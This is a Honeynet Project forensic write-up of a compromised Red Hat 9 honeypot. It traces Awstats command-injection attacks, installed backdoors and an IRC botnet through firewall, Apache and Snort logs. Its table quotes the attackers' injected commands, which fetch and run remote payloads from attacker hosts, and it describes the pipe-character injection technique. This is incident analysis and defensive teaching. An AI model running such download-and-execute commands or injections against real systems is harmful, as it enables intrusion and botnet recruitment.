Project Honeynet Scan of the Month 34

Monday May 09, 2005

Lead Analysts: Matt Richard (matt.richard@gmail.com) and Michael Ligh (michael.ligh@mnin.org)

Participants: Andy Magnusson **(**andy@mysteriis.org**),** Syd Seale (syd@sydseale.com) and Kelly Standridge (ks@mnin.org)

Table of Contents

I. General Network And Systems Information

Before formulating attack hypotheses, it's important to learn as much about the network typology and involved systems as possible. A better understanding of the environment and settings will allow us to make an educated judgment on which attacks actually had a chance of succeeding and which had no chance at all.

This honeynet consisted of 3 main systems (bridge, bastion, and combo) and there are no overt traces of virtualization so they are probably individual, physical systems. The machine with hostname 'bridge' was multi-homed (eth0 and eth1), running an unknown distribution of Unix/Linux, and performed routing/filtering using Netfiler's ip_tables kernel module.

The machine with host name 'bastion' served as the Network Intrusion Detection System, running Marty Reosch's Snort. We know very little about this machine except that it likely had 11.11.x.x set as the HOME_NET variable and utilized the Bleeding Snort rule sets in conjunction with those provide with the basic Snort package.

Lastly, the machine named 'combo' (otherwise known as the victim) was running Red Hat Linux with a 2.4.20-8 kernel, an Intel Pentium III 740 MHz processor, and 128 MB RAM. The primary network interface for this system (eth0) was assigned IP address 11.11.79.67, however it had several virtual interfaces configured (eth0:1 – eth0:22), each with a unique IP address on the 11.11.79.0/24 network. Traffic back and forth between combo and external hosts passed through bridge and was also subject to bastion's monitoring.

A majority of (successful) attacks on Internet systems are highly dependent upon the target running vulnerable software or incorrectly configured software. This is because many exploits are designed with particular flaws in mind, oftentimes identified by reading the source code of the software in use or simple trial-and-error testing. So, in order to strengthen our ability to analyze the threats against the target system, we have to review the software that it exposed to the attacker (by running the associated daemon processes or simply having them installed).

By examining the Syslog entries that combo generated upon a reboot on February 11, we can learn most of what we need to know about the system. Below is a list of software and versions extracted from the syslog/messages files:

```
Verisioned Software:
syslogd 1.4.1
klogd 1.4.1
Linux version 2.4.20-8
gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)
rpc.statd[1601]: Version 1.0.1 Starting
mtrr: v1.40 (20010327)
Version 3.0.2 (APM BIOS 1.2, Linux driver 1.16)
xinetd Version 2.3.10 started with libwrap options compiled in
named[2037]: starting BIND 9.2.1 -u named
net-snmp[2049]: NET-SNMP version 5.0.6
ntpd[2062]: ntpd 4.1.1c-rc1@1.836 Thu Feb 13 12:17:19 EST 2003 (1)
rsyncd[2100]: rsyncd version 2.5.5 starting, listening on port 87
EXT3 FS 2.4-0.9.19, 19 August 2002 on ide0(3,1), internal journal

Non-versioned Software:
portmap startup succeeded
nfslock
sendmail: sendmail startup succeeded
sendmail: sm-client startup succeeded
spamassassin: spamd startup succeeded
gpm: gpm startup succeeded
canna:  succeeded
crond: crond startup succeeded
cups: cupsd startup succeeded
xfs: xfs startup succeeded
anacron: anacron startup succeeded
atd: atd startup succeeded
httpd: httpd startup succeeded
squid[2016]: Squid Parent: child process 2019 started
snmpd: snmpd startup succeeded
mysqld: Starting MySQL: succeeded
```

From the httpd logs we can learn that the active Apache version was 2.0.40. Likewise, from syslog/maillog we can determine that combo was running Sendmail 8.12.8 and spamd (SpamAssassin) 2.44. Although the remaining packages to not reveal version information in the logs we were provided, some speculation can be applied based on the versions we do know. The combination of kernel 2.4.20-8, gcc 3.2.2-5, xinetd-2.3.10, bind-9.2.1, and rsync-2.5.5 imply that combo is probably running a default install of the Red Hat 9 distribution. To learn likely versions of the remaining packages, we can simply look them up in the Red Hat 9 FTP depository, [1]. Accordingly, Squid is probably 2.5STABLE1, Portmap 4.0-54, and MySQL 3.23.54a.

II. Scan of the Month Questions

1. What are the significant events that happened on the honeypot in the time period covered by the logs? Show how you analyzed the data to paint the picture of those events.

Our honeynet challenge story tells the tale of a simple Redhat 9 machine set out to draw the attention of unknown hackers. Our system is compromised and then compromised again. Through the tale we see how attackers compromise a system, keep coming back and sometimes lose control of their victim. We also see how an attacker can be betrayed by his own tools and lose his precious victim system to another attacker who makes sure that the victim is his and his alone. In a sense you can think of these attackers like hermit crabs, constantly searching for new homes even if it means forcefully removing the previous occupant and taking steps to defend against other hermit crabs.

The opening scene of our story begins on February 26th when our victim system is compromised for the first time (that we can prove) through a vulnerability in Awstats. The attackers IP address and the server from which he downloads tools are all located in Romania. The attacker uses Awstats.pl to issue commands on the system which include wget, ls, rm, and executing the newly downloaded applications. For more details on this exploit see Table 1 and Question 2. During this initial exploit of Awstats our attacker installs the EnergyMech IRC bot

Early on the morning of February 27th our attacker returns to gather some system information and install some additional tools. The attacker attempts to install a root shell back door on port 4000 but the download fails. Since the download was unsuccessful how could we have known this was a back door meant to listen on port 4000? See Appendix 11. The attacker makes many attempts to download the file from a couple of different URL's for but some unexplained reason the connections time out. One point to note here is that while the attackers IP addresses keep changing (he's on at least his 3rd unique IP), the techniques and server that he is fetching tools from remains the same. This indicates that the attacker has several systems under his control from which he can launch these attacks.

On March 1st there is IRC activity that indicates that the attacker is active on the system. The snort IDS system detects UNIX ID checks occurring which could indicate back door activity. It is unclear what activity may have occurred on the system during this time.

Not to be put off by the previous set backs encountered installing a back door root shell our attacker comes back on March 2nd. This time it looks like he's done his homework and has his ducks in a row. This time our attacker downloads and installs a back door root shell named 'a' that listens on port 60666. How do we know for sure that it listens on port 60666, see Question 2. On March 4th our attacker returns and restarts his EnergyMech IRC bot and then downloads the back door 'a' again. The logs show that 'a' was already running when the attacker downloaded and ran the tool on March 4th. The other significant event that occur ed on March 4th was that the attacker successfully connected to port 60666 to test the back door.

March 5th brings a new flurry of activity from the original attacker. First the attacker logs in using the back door on port 60666 and makes 4 outbound HTTP requests. These requests are to both the system from which the back doors were originally downloaded and other systems located in Romania. After making the outbound HTTP requests the victim system scans 13 systems with IP addresses located in France for SSH. It is here that we learn that the system named 'bridge' has some type of outbound rate limiting built in that stops our ssh scan at 13 hosts and denies additional attempts. It is likely that the original attacker downloaded additional tools that could be used to communicate or compromise other systems.

At this point in the story we hit a foggy patch. Our lack of detailed network logs hinders our ability to provide detailed analysis regarding what happens next. On March 6th there is an outbound HTTP request to a host located on a Chinese net block. It is unclear if our original attacker or a new attacker made this request. The other odd part about this activity is that the source IP address is not the hosts default IP but rather it is an alias. About 12 hours after this activity the load on our victim system skyrockets for about 50 minutes. This type of activity is typically associated with compiling large programs such as the Linux kernel or other CPU and I/O intensive applications. The attacker may have downloaded and installed a new tool or set of tools further compromise the system.

Like most good stories ours has a plot twist before the final stage. March 12th brings 2 new attacker IP addresses, one in Italy and one from Latin America / Caribbean. The attack begins at 7:04 with a connection to the back door installed on March 2nd over port 60666. After the connection to the back door the victim system the makes several outbound HTTP and FTP requests. These requests are to sites in Russia and the USA. The really interesting event that occurs here is that the attacker makes an outbound HTTP request to SourceForge.net which hosts popular open source projects. The intent of at least one of these outbound requests appears to be to update the Awstats application to a new version that is not vulnerable to the original attack. The act of closing vulnerabilities on a compromised system is not uncommon since it allows an attacker to 'own' a victim machine and prevent other attackers from gaining access. The apache logs show that attempts to exploit Awstats after March 12th mysteriously fail. It is unclear if the attacker also disabled the back door on port 60666 that allowed access. This event is troubling since it could indicate that the attacker was able to reconstruct the original attack, just as we are doing, and potentially modify logs or other events to hide data. The attacker also installs another back door by replacing pop3d and launching with xinetd. A chain of events occur which involve the attacker making outbound HTTP requests, restarting xinetd and then making connections to TCP port 110. From the logs it appears that the attacker had to repeat this sequence several times to get the new version of pop3d to work properly. This phase of the attack concludes with a connection of 5 hours to port 110 from the attackers IP address with unknown content.

It seems the original attacker had bad timing, about 12 hours after Awstats was patched the original attacker returns and attempts to connect to the back door on port 60666. The connections to port 60666 appear to fail according to the IPTables logs which show the TCP packets being resent several times. The original attacker also attempts to exploit Awstats again except now the attacks fail. It seems that this hermit crab stepped away for a minute too long and found his shell gone when he returned.

At 3:00 on March 13th a new connection is made to port 110, this time from an IP address in Sweden. Following this connection a new outbound HTTP connection is made. This may be the attacker coming back to download additional tools onto the victim system or a new attacker.

On March 15th we have a pretty persistent attempt to use the Awstats from an IP address on a net block similar to the original attackers IP address. Could this be the original attacker back to regain control only to find that the new occupant has patched the system?

Our story appears to end on March 17th around 18:00 when a root login occurs on TTY1. This is the last time that a log entry is recorded on our victim system, at least the last one that we have been given access to. Oddly our story doesn't quite end here. Even though we have no more system system logs from the victim we do have more logs from our security systems. After March 17th we have outbound HTTP requests to hosts in China on March 22nd, 29th and 31st. It is very possible that we may have had a new attacker during this time that used a whole new set of circumstances to take control of our victim.

2. Was the system compromised? How do you know? If yes, how many times and by how many attackers? What would you consider the most compelling evidence of the compromise available if you find that the system was indeed compromised?

Yes, the system was compromised, several times by numerous attackers (this gets more specific as we go on). The most compelling evidence lies in the Apache access and error logs of the combo system, and can be correlated with the Snort IDS logs from bastion and outbound firewall logs from bridge.

To start, we want to extend the question into 5 major subsections:

- summary of exploiting systems and general time period (Table 1)
- what was the infection vector, or exploited code in this case
- what proof do we have that toolkits and/or other suspicious files were fetched by the victim server
- was any arbitrary code executed and if so, what did it do
- is there any proof of further exploitation, such as back door connections or long-term activity

Remote System	Date / Time	Commands Run	Intention	Result / Comments
213.135.2.227	26/Feb 14:13:38	cd /tmp; wget www.shady.go.ro/aw.tgz; tar zxf aw.tgz; rm -f aw.tgz; cd .aw; ./inetd	Download and install EnergyMech 2.8.5 IRC bot	Succes: `aw.tgz' saved [205207/205207]
82.55.78.243	26/Feb 14:14:43	cd /tmp; wget www.shady.go.ro/aw.tgz; tar zxf aw.tgz; rm -f aw.tgz; cd .aw; ./inetd	Download and install EnergyMech 2.8.5 IRC bot	Success: `aw.tgz' saved [205207/205207]
212.203.66.69	26/Feb 21:13:25	echo; echo b_exp; uname -a; w; echo e_exp (A)	Learn kernel version, OS, processor, hardware, show logged in users and what they are doing	Success: 746 bytes returned
	26/Feb 22:04:32	echo b_exp; cat /etc/*issue; echo e_exp	Learn OS distribution	Success: 566 bytes returned
	26/Feb 22:04:42	echo b_exp; cd /tmp; ls -al; echo e_exp	List /tmp directory	Success: 899 bytes returned
	26/Feb 22:08:42	echo b_exp; cd /tmp; curl; echo e_exp	See if curl utility exists	Success: curl: try 'curl --help' for more information
	26/Feb 22:12:28	echo b_exp; cd /tmp; rm -rf t*; echo e_exp	Delete /tmp/t*	Probably successful.
	26/Feb 22:08:57	echo b_exp; cd /tmp; lynx -source www.adjud.go.ro/t.tgz > t.tgz; ls -la; echo e_exp	Download “4000” backdoor and list /tmp	Failed: lynx: Can't access startfile http://www.adjud.go.ro/t.tgz
	26/Feb 22:11:17	echo b_exp; cd /tmp; lynx -source www.maveric.com/t.tgz > t.tgz; ls -al; echo e_exp	Download “4000” backdoor and list /tmp	Failed: lynx: Can't access startfile http://www.maveric.com/t.tgz
	26/Feb 22:04:55 (B)	echo b_exp; cd /tmp; wget www.adjud.go.ro/t.tgz; tar zxvf t.tgz; ./t; echo e_exp	Download and install “4000” backdoor	Failed: failed: Connection timed out. (C)
82.52.98.248	02/Mar 09:29:23	cd /tmp; wget www.shady.go.ro/a.tgz; tar zxf a.tgz; rm -f a.tgz; ./a	Download and install “60666” backdoor	Success: `a.tgz' saved [8086/8086] (D)
82.49.16.150	04/Mar 02:41:25	cd /tmp; rm -rf .aw; killall -9 inetd (E)	Delete /tmp/.aw and terminate any process named “inetd”	Probably successful.
	04/Mar 03:22:17	cd /tmp; wget www.shady.go.ro/a.tgz; tar zxf a.tgz; rm -f a.tgz; ./a	Download and install “60666” backdoor	Failed: `a.tgz' saved [8086/8086] , but - bind: Address already in use (D)
195.199.231.234	12/Mar 14:51:01	cd /tmp; wget www.shady.go.ro/a.tgz; tar zxf a.tgz; rm -f a.tgz; ./a	Download and install “60666” backdoor	Failed with HTTP 500 (F)
198.54.202.4	12/Mar 14:51:47	cd /tmp; wget www.shady.go.ro/aw.tgz; tar zxf aw.tgz; rm -f aw.tgz; cd .aw; ./inetd	Download and install EnergyMech 2.8.5 IRC bot	Failed with HTTP 500

Table 1: Awstats Exploitation Details (times as logged by combo – see Question 4 for synchronization details).

(A) We only show the unique commands sent by each host. In the example shown, this exact request was sent to the server twice - it is only recorded here once.

(B) This particular entry is stamped 22:04:55 but shows up after 22:11:17 in the log file. Most log messages are not written to disk until the activity generating the message has been completed. A plausible explanation would be that the Apache process did not finish processing this request until after wget timed out the first time, which is why this log was written later. The time stamp is created when the request begins processing hence the discrepancy between the order of the logs and the time stamps.

(C) Additional error output shows tar complaining that t.tgz does not exist, followed by a bash complaint that ./t cannot be executed for the same reason. We went so far as to reverse engineer parts of t and find out exactly what it does, before realizing ourselves that it never successfully executed on the victim system. The attacker was obviously troubleshooting here, based on his switch from lynx to wget and from adjud.go.ro to maverick.com.

(D) Although there is no overt indication that 'a' was executed successfully upon request from 82.52.98.248, the fact that a later attempt by 82.49.16.150 failed due to the socket already in use (60666) suggests that it did.

(E) It is extremely interesting to note here that 82.49.16.150 comes out of nowhere and immediately tries to delete /tmp/.aw and kill any processes named 'inetd'. This begs the question, how did they know a hidden directory by the name of .aw existed in /tmp and that 'inetd' might be running on the target? We might be dealing with less attackers than we think! Based on the behavior of 82.49.16.150, we can probably be safe to assume that he is the same attacker that downloaded, extracted, and executed 'inetd' out of aw.tgz on February 26. The same attacker is exploiting the system from multiple locations to hide his tracks.

(F) Suddenly, on March 12 at 14:51:01, the same Awstats exploits that had worked in the previous days now fails with an HTTP 500 (Internal Server Error) status code. As mentioned in Question 1, this likely is the result of one attacker trying to patch up the system and reserve it only for himself. We specified the time at the beginning of this note because earlier in the day on March 12, at 7:52:29, the victim server made a suspicious outbound connection which may help explain everything. The destination server in this case was 213.203.218.122, owned by SourceForce.net, the Open Source software development site where patched versions of Awstats can be located. A plausible explanation is that an attacker who had already gained root on the box via one of previously installed back doors downloaded a patched version of Awstats to prevent other attackers from exploiting the system.

The cause of all this havoc on the victim web server was a vulnerability in Awstats - the popular Perl based statistics engine for web, mail, and custom log files. Awstats fails to sanitize the user input supplied to the 'configdir' parameter, [2]. On such a notion, commands prefixed and postfixed with a '|' character will be executed on the target system.

A number of the rows in Table 1 are “up close and personal” reconnaissance efforts. In this scenario, the attackers have already found a weakness they can exploit in order to gather additional information. The remote host 212.203.66.69 is very nosy and learns a great deal about the system before moving on. On the other hand, some attackers did not waste time, and were only interested in a quick blow to the heart.

To satisfy the 3rd subsection (proof remote code was fetched), we can consult the Apache error output (which essentially is wget STDOUT/STDERR) and outbound connections initiated by the victim machine. In the Results column of Table 1, we show the relevant entries – aw.tgz and a.tgz were each downloaded twice from shady.go.ro.

Before presenting the second layer of proof, the host names of the remote servers must be looked up. Since no code was successfully downloaded from maverick.com, it will not be discussed here. Adjud.go.ro will be mentioned since it happens to share the same IP address of shady.go.ro:

```
# host www.shady.go.ro.
www.shady.go.ro has address 81.196.20.134

# host www.adjud.go.ro
www.adjud.go.ro has address 81.196.20.134

# whois 81.196.20.134
[...]
inetnum:      81.196.20.128 - 81.196.20.159
netname:      RO-RDS-HOME-RO
descr:        Home.RO / Go.RO
country:      RO
[...]
remarks:      +--------------------------------------------------------+
remarks:      | ABUSE CONTACT: abuse@home.ro IN CASE OF HACK ATTACKS,     |
remarks:      | ILLEGAL ACTIVITY, VIOLATION, SCANS, PROBES, SPAM, ETC.    |
remarks:      +--------------------------------------------------------+
notify:       abuse@home.ro
[...]
person:       Home.RO ABUSE DEPARTMENT
address:      71-75 Dr. Staicovici
address:      Bucharest / ROMANIA
```

With that information, we can grep the outgoing firewall logs for connections to 81.196.20.134 over port 80. Here is what we found:

```
# grep SRC=11.11.79.67 iptablesyslog | grep DPT=80 | grep DST=81.196.20.134
Feb 26 19:00:52 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=41241 DF PROTO=TCP SPT=1059 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Feb 26 19:01:55 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=46606 DF PROTO=TCP SPT=1064 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Mar  2 14:46:46 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=20017 DF PROTO=TCP SPT=4446 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Mar  4 08:09:59 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=29728 DF PROTO=TCP SPT=2215 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Mar  5 13:36:39 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=56291 DF PROTO=TCP SPT=2224 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Mar  5 13:37:34 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=81.196.20.134 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=31315 DF PROTO=TCP SPT=2225 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
```

The combination of wget output and firewall logs prove without a doubt that remote code was downloaded* by the victim server, which brings us to the next subsection – was the code executed and what did it do? Lucky for us, aw.tgz and a.tgz still existed on the remote servers, so we downloaded a copy for analysis. The theory here is that if we can learn enough about what these files contain or how they behave, we can search for additional clues to determine what they were used for.

* Note that one log file alone does not prove anything to the degree we need. For example, the outgoing firewall logs only show that combo initiated (sent a SYN packet) to the remote servers – not that the remote servers actually responded or if any data was transferred after making a connection. To erase any doubt, we truly need both sets of log files (firewall and Apache error) to show what really happened.

Extracting a.tgz and aw.tgz revealed 'a' and 'inetd' - two ELF executables, along with several other files within the hidden .aw directory; likely used for configuration of the 'inetd' application. For a quick manifest and general attributes, see Appendix 6. The next step in our investigation involved a combination of static and dynamic code analysis. There happened to be a Red Hat 7.2 Vmware machine, [3] available, which is not exactly the distribution of the target system (see conclusions from General Network And Systems Information), but it should be sufficient to run and analyze the code. While 'a' and 'inetd' were being executed in a controlled environment under close supervision, they were also being slightly reverse engineered in order validate our findings.

In the Vmware environment, 'netstat -anp,' 'lsof,' and 'find / -type f -exec md5sum {}' were run to grab a quick baseline. If the attacker's code creates new files, modifies files, or alters the active sockets on the machine, the before and after difference of these commands should identify any discrepancies. It turned out that 'a' created a listening socket on port 60666 of 0.0.0.0 (all interfaces) with which an attacker could connect and login with no password*.

* During our testing phase (and before we realized 't' was never executed) the same process was carried out with t, however it did have a password enabled. Appendix 11 shows the few steps we took to find out what the password was. Attackers usually want to build some sort of protection into their own back doors so that not just anyone can login and exploit the same system.

Our next move was to determine if 60666 was a port number hard coded into the ELF, or if it was dependent upon a system variable, determined at random, or anything else. We did this by loading 'a' into gdb (The GNU Debugger) and asking it to disassemble main(). For the more detailed analysis, see Appendix 10, however a short summary follows. At offset 0x08048da0 the value of 0xecfa is pushed onto the stack, which is followed by a call to htons(). This function takes an unsigned 16-bit integer as an argument, [4]. 0xecfa is 60666 in decimal, by the way. The strings output shows references to '/bin/sh' and '/dev/ptmx'. This main function of this code is to provide a back door shell on TCP port 60666.

Meanwhile, running inetd was just as conclusive, if not more. This might be a customized tool as far as how it was compiled and the options within accompanying text files (raw.set, raw.session, 3, 2, 1), but otherwise it is just the popular EnergyMech IRC bot.

```
# ./inetd
EnergyMech 2.8.5, Bucharest: December 30th, 2002
Compiled on Jan 4 2005 21:19:18
Features: DBG, LNE, SEE, LNK, TEL, PIP, DYN, NEW, ALS, SEF
init: Mech(s) added [ Statia[3], Statia[2], Statia[1] ]
init: EnergyMech running...
```

The Statia[3], Statia[2], and Statia[1] are bots loaded from the raw.set file and they use the 3, 2, and 1 files for additional configuration such as handle/nick (nutzu) and access level (100). The important part in finding out if inetd was actually executed on the system is the list of servers to which an infected target would be in communication with:

```
SERVER 193.110.95.1 6667
SERVER 66.198.160.2 8888
SERVER  129.27.9.248    6667    # graz.at.eu.undernet.org
SERVER  129.27.3.14     6667    # graz2.at.eu.undernet.org
SERVER  62.250.14.6     6667    # haarlem.nl.eu.undernet.org
SERVER  213.208.119.11  6667    # london.uk.eu.undernet.org
SERVER  217.106.2.92    6667    # moscow.ru.eu.undernet.org
SERVER  213.46.223.3    6667    # oslo.no.eu.undernet.org
SERVER 195.47.220.2 6667
SERVER  195.54.102.4    6667    # stockholm.se.eu.undernet.org
SERVER  213.48.150.1    6667    # surrey.uk.eu.undernet.org
SERVER  207.96.122.250  6667    # arlington.va.us.undernet.org
SERVER  199.170.91.114  6667    # austin.tx.us.undernet.org
SERVER  64.21.117.248   6667    # jamaica.ny.us.undernet.org
SERVER  205.252.46.98   6667    # mclean.va.us.undernet.org
SERVER  140.99.102.4    6667    # mesa.az.us.undernet.org
SERVER  132.207.4.32    6667    # montreal.qu.ca.undernet.org
SERVER  154.11.89.164   6667    # toronto.on.ca.undernet.org
SERVER  205.188.149.20  6667    # washington.dc.us.undernet.org
SERVER leystad.nl.eu.undernet.org 6667
```

With that information, we can quickly search the outgoing firewall logs and verify if there are traces of IRC activity with these hosts. Taking the first 3 servers as a benchmark, here is an example of what we found:

```
Feb 26 19:00:57 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=193.110.95.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=26465 DF PROTO=TCP SPT=1060 DPT=6667 WINDOW=5840 RES=0x00 SYN URGP=0
Feb 26 19:00:58 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=66.198.160.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=6950 DF PROTO=TCP SPT=1061 DPT=8888 WINDOW=5840 RES=0x00 SYN URGP=0
Feb 26 19:00:58 bridge kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC=11.11.79.67 DST=129.27.9.248 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=56418 DF PROTO=TCP SPT=1062 DPT=6667 WINDOW=5840 RES=0x00 SYN URGP=0
```

As if there was any doubt left, we call also consult a few of the particular Snort IDS alerts, which are more clearly defined in Table 3 below. These prove that the communications were indeed using the IRC protocol, not just ports associated with it. This is not a comprehensive list of the alerts, but it should be representative of the actions with which we are concerned. The interesting mix shows inbound connections to port 113, the auth protocol, which is probably the remote server trying to verify the identify of the user who is trying to join a channel. We see the JOIN channel and CHAT IRC alerts, which can be expected, but also the Shellcode and Mydoom.ah alerts are very interesting. Shellcode rules cause false positives frequently when binary files are being transferred and this might suggest that the attacker is downloading new toolkits over the new IRC channel rather than using the web.

```
Feb 26 19:01:10 bastion snort: [104:1:1] Spade: Closed dest port used: local dest, syn: 0.9297 {TCP} 193.110.95.1:58102 -> 11.11.79.67:113
Feb 26 19:01:10 bastion snort: [1:542:11] CHAT IRC nick change [Classification: Potential Corporate Privacy Violation] [Priority: 1]: {TCP} 11.11.79.67:1060 -> 193.110.95.1:6667
Feb 26 22:56:31 bastion snort: [1:1394:5] SHELLCODE x86 NOOP [Classification: Executable code was detected] [Priority: 1]: {TCP} 66.198.160.2:8888 -> 11.11.79.67:1061
Feb 27 00:48:32 bastion snort: [1:2000348:3] BLEEDING-EDGE IRC - Channel JOIN on non-std port [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 11.11.79.67:1755 -> 66.198.160.2:8888
Mar  1 14:35:35 bastion snort: [1:498:6] ATTACK-RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 66.198.160.2:8888 -> 11.11.79.67:4944
Feb 27 18:00:58 bastion snort: [1:2001439:3] BLEEDING-EDGE WORM Mydoom.ah/i Infection IRC Activity [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 11.11.79.67:3302 -> 129.27.9.248:6667
```

This proves that, yes, there was further exploitation of the system aside from downloading and executing code. For a period lasting several days or more, the system actively joined an IRC bot network and participated in any commands issued by the channel operator. In our final subsection of this, we want to determine if any attackers actually connected to the back door 'a' after it was installed on the victim system. Our gut feeling is “of course they did,” but some proof would be nice.

First, a quick search through inbound connection logs to destination port 60666 shows about 50 attempts between February 26 and March 12, by four unique source addresses. This is interesting since Table 1 shows that 'a' was not downloaded and installed until March 2. This would suggest one of two things: 1) 60666 is a common back door port and scripters are searching for remnants of other attacker's victims or 2) the 'a.tgz' file was transferred and installed by some other means that our logs don't show, such as by using the IRC channel. Nonetheless, attempts after March 2 were very likely to have succeeded, whereas attempts before March 2 had only a small chance. As mentioned before, the firewall logs only show connection initiation packets not connection establishment packets or statistics regarding duration. Likewise, back door's don't log to syslog, so activity isn't recorded. In Question 1, Table 1 (F), syslog/maillog based noise, and Outbound Connection Rate Limiting, we present evidence that unauthorized users were indeed active on the system, which implies that they did login* at some point.

*Note that in in the syslog/secure based noise section of Question 4 we show that the 'test' user account was used by at least 21 remote attackers. We have no way of telling if the user obtained control via the back door or the 'test' account.

3. If this were the evidence from a production system, how would you learn that the machine was compromised, given the data available? For this question, assume you do not have the honeynet-specific data streams, such as sebek2 or bash logger, just like in this challenge.

The answer to this question ties in pretty tight with some of the evidence we presented in Question 2. Given the logs from bridge and bastion, we really don't need sebek2, bash logger, a Tripwire report, or the confession of any attacker to determine if the machine was compromised. In a production environment, we would not expect (at least I hope not) for the machine to initiating outbound connections to IRC servers in remote locations of the Internet. Thus, the evidence lies in egress filtering logs. Even with the incoming bridge logs (to, say, port 80), the assorted Snort IDS alerts of Awstats exploits from bastion, and combo's own Apache access/error logs; we can only speculate compromise. It is not until we consult the outbound bridge logs that this is verified – without them its like only hearing one side of the story. In an ideal production environment there are competent and trustworthy administrators, reducing the chance that the server's TCP 6667 connections were a result of an insider who decided to use the production server for a quick IRC chat over lunch. Once again, the egress filtering and the egress filtering alone could have taught us that this machine was been compromised beyond repair.

4. What else was going on at the system at the same time? What times of "Internet noise" can you categorize, given the data? Is there anything out of the ordinary with the noise levels? What attack and probe types observed actually had a chance of affecting the target?

There was a lot going on at the same time. The Internet noise was, well, noisy, and we can determine out-of-the ordinary values by correlating our information with a distributed intrusion detection system like Dshield, [5]. Our method of determining background noise was consistent with our procedures used to answer the first few questions (see Bonus Question). Essentially, we shifted through the data via command line or small Perl scripts, eliminating what we knew was irrelevant. This left us with the outstanding entries, which will be covered here.

a) iptables/iptablesyslog based noise

The firewall logs within iptables/iptablesyslog revealed heavy scanning for well-known services popular among Windows systems such as DCE endpoint (135), Netbios Session Service (139), Win 2K Server Message Block (445), MS-SQL (1433), MS-SQL Monitor (1434), Netbios Name Service (137), and Radmin (4899). Also among the top 10 attacked TCP ports there are several not associated with any particular platform such as MySQL (3306), SSH (22), and HTTP/WWW (80).

Frequency	Port	Service	% Daily	Dshield
56513	135	DCE Endpoint	32.8	8.0 – 16.0
27145	445	Win 2K SMB	15.7	13.0 – 27.0
16542	139	Netbios SSN	9.6	2.0 – 6.0
12369	4899	Radmin	7.1	0.6 – 2.0
9849	1433	MS-SQL	5.7	3.0 – 10.0
5979	1434	MS-SQL Monitor	3.47	2.0 – 4.2
5139	3306	MySQL	2.9	1.0 – 4.0
4047	80	WWW	2.3	1.5 – 2.3
3448	137	Netbios NS	2	2.3 – 4.7
2818	22	SSH	1.6	0.1- 1.1

Table 2: Top 10 Attacked Ports In Relation To Dshield

Out of these top 10, the only ones that had a chance at causing any damage to our honeypot were 3306, 80, and 22, since we know these services were active (see General Network And Systems Information). The others were either not active or are almost definitely targeting Microsoft Windows machines. A dangerous aspect of concentrating on the top 10 attacked ports is that we miss the less obvious attacks, which is critical to the investigation at hand. For example, neither of the back doors covered in Question 2 (4000 and 60666) are even in the top 50.

The Dshield column shows the minimum and maximum % daily total of records for the corresponding port over the 5 week period for which we have firewall logs (February 25 – March 21). The frequency of DCE Endpoint and Radmin traffic was highly disproportional according to Dshield, however all others seemed to be pretty normal. In the Appendix 1, there is a copy of the script that generated our own data and a slightly more extensive list of the top attacked ports.

b) snort/snortsyslog based noise

We can identify 85 unique Snort alerts per the short Perl script in Appendix 4, however only a handful concern traffic capable of successfully learning about or exploiting the honeypot system (combo). This made it obvious that the active Snort rule sets were not tuned for the environment they were monitoring. For example, SID 1256 (WEB-IIS CodeRed v2 root.exe) was triggered 60 times, but this only affects IIS servers on Windows and our honeypot web server application was Apache.

The majority of IDS noise can be classified into one of several groups:

- network reconnaissance attempts: ICMP echo requests, traceroutes, Spade output from scanning rarely used ports, evasive or stealth TCP traffic
- application reconnaissance attempts: SSH, named, and SQL version scans
- protocol or application specific attempts: IIS ISAPI, directory traversal, double encoding Unicode

For a complete listing of the unique IDS alerts and corresponding frequencies, see Appendix 5. By removing alerts of this nature we can point out the more critical ones:

Frequency	Message	SID
5683	CHAT IRC message	1463
1009	BLEEDING-EDGE IRC – Channel JOIN on non-std port	2000348
541	BLEEDING-EDGE IRC – Nick change on non-std port	2000345
148	BLEEDING-EDGE WORM Mydoom.ah/i Infection IRC Activity	200143
51	BLEEDING-EDGE EXPLOIT Awstats Remote Code Execution Attempt	2001686
19	BLEEDING-EDGE IRC Trojan Reporting (Scan)	2001372
7	BLEEDING-EDGE POLICY IRC connection	2000356
5	WEB-ATTACKS wget command attempt	1330
